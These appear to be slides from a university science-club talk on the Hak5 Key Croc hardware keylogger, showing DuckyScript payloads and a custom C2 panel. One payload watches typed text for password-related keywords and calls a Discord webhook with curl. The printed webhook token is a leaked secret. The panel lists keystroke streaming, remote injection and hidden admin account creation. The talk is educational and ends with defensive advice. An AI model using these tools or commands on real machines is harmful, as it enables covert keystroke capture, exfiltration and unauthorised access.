

PING

Koło Naukowe
Politechniki Gdańskiej



Hak5 Key Croc

Advanced payload management and reconnaissance
automation in physical penetration testing

Mateusz Turowski | PING Science Club | Gdańsk University of Technology



What is the Key Croc?



Hardware MitM

Doesn't just log keystrokes. It actively hijacks the USB connection to run its own commands.



Dual-Role HID Setup

It acts as a host for your physical keyboard, and emulates being a physical keyboard for the target PC.



Zero Drivers

Reads raw hardware scancodes - the OS just sees a standard keyboard (antiviruses and EDRs are blind)



Linux in a USB Stick

Under the hood, it's an ARM board running Debian with Wi-Fi



Attack Architecture



Interception

Passively sniffs HID traffic in the background. It hunts for keywords using the built-in MATCH engine.



Injection

Detects a trigger and instantly runs a DuckyScript macro to execute commands.



Exfiltration

May save data locally in the loot folder, or send it over the network via Webhooks, Cloud C2, and SSH.



What I Built

Custom Command & Control and Payload Automation



Bash Dashboard

Wrote a custom text-based UI to manage the Croc via SSH. It handles live loot streaming, remote keyboard injection, and real-time process control on the target computer.



Custom Payloads

DuckyScript triggers for alerting and productivity



Payload 1: Boilerplate C++

GOAL

An example of using the Key Croc as a hardware "Text Expander" for a developer. Productivity instead of malicious code.

TRIGGER

Typing the command:

```
!cpp
```

ACTION

Instant, automatic insertion of the program structure: headers, main function.

APPLICATION

Rapid prototyping and significant time savings in daily work.

```
1  MATCH !cpp # activator
2
3  # clearing activator
4  QUACK BACKSPACE
5  QUACK BACKSPACE
6  QUACK BACKSPACE
7  QUACK BACKSPACE
8
9  QUACK DELAY 100
10
11 # writing code
12 QUACK STRING '#include <iostream>'
13 QUACK ENTER
14 QUACK STRING 'using namespace std;'
15 QUACK ENTER
16 QUACK ENTER
17 QUACK STRING 'int main() {'
18 QUACK ENTER
19 QUACK STRING      'cout << "Hello World!";'
20 QUACK ENTER
21 QUACK STRING      'return 0;'
22 QUACK ENTER
23 QUACK STRING '}'
24 QUACK ENTER
```

Payload 2: Alert Security Awareness

Detection (Pattern Matching)

The payload passively monitors typed text for sensitive passwords. Keywords: `login`, `password`, `bank`, `mojapg`.

OOB Exfil

Keeps the data off the victim's network. Pings a Discord Webhook over a hidden Wi-Fi connection the second a trigger is hit.

Alert

Pops open Notepad on the target PC and types a security warning.

```
1 MATCH (logowanie|haslo|bank|eduroam|mojapg|sis|enauczanie) # activator
2 Q DELAY 500
3
4 # sending alert to Discord via webhook
5 curl -H "Content-Type: application/json" -d '{"content": "🚨
  **ALARM!** KeyCroc aktywowany!"}' https://discord.com/api/webhooks/
  1501579399416385606/
  4F2UsJT3GiPaUBwNsonQX18fKfSsUUUVZARFHJAEirb9BNMpUKreVb5RfTbESL8RBKMFS &
6 Q DELAY 500
7
8 Q GUI r # running Win+R
9 Q DELAY 500
10
11 Q STRING notepad.exe # opening notepad
12 Q ENTER
13
14 Q DELAY 1000
15
16 Q STRING "Uwaga! Nigdy nie podpinaj niezauważanych USB!" # typing
17 Q ENTER
```



Main Project: **Key Croc Controller**



C2 Panel

A custom management script that acts as the brain of the device. Running over a Tailscale mesh network, it enables remote command execution.



Capabilities

- Live log streaming & loot browsing
- Regex-based data extraction
- Remote keyboard injection



Interface

Custom Bash TUI - execute live operations quickly without typing raw commands.

=====

KEY CROC CONTROL PANEL

=====

- [1] Live keystroke
- [2] Browse logs
- [3] Remote keyboard
- [4] Lock keyboard
- [5] Extract e-mails
- [6] Lock screen
- [7] Create account
- [8] Reboot PC
- [9] Search phrase
- [0] Exit

Choice: |

=====



Management and Monitoring Modules

1. Live keystroke stream

Real-time preview of typed characters.

2. Browse logs

File viewer for `croc_char.log` and raw loot.

3. Remote keyboard

Remote command execution on the target computer via SSH.

4. Lock keyboard

Temporary, physical blockade of the user's keyboard.

5. Email extractor

Regex script that automatically extracts email addresses from logs.

6. Lock screen

Remote screen lock (Win+L).

7. Create hidden admin

Automatic account creation in the registry (Winlogon).

8. Reboot system

Remote target computer's restart.

9. Search logs

Search for a phrase in the loot



Architecture and Functionality

Pattern Matching

- Key Croc MATCH engine
- Trigger detection (!cpp, login)

Control Panel

- Bash (Menu-driven)
- Logic and loot file management

Code Injection

- DuckyScript / QUACK
- HID device simulation (keystroke injection)

Exfiltration

- cURL / Discord API
- Sending alerts via Wi-Fi network



Defensive Perspective (How to protect yourself?)



Workstation Lock

Always lock your computer (Win+L) when leaving your desk.



Visual Inspection

Look for any suspicious adapter



Device Control

Use DLP/EDR software to block unauthorized HID devices.



Untrusted Hardware

Never plug in unknown USB device



The END.

Thank you for your attention!

Questions?

Mateusz Turowski | PING Science Club | Gdańsk University of Technology

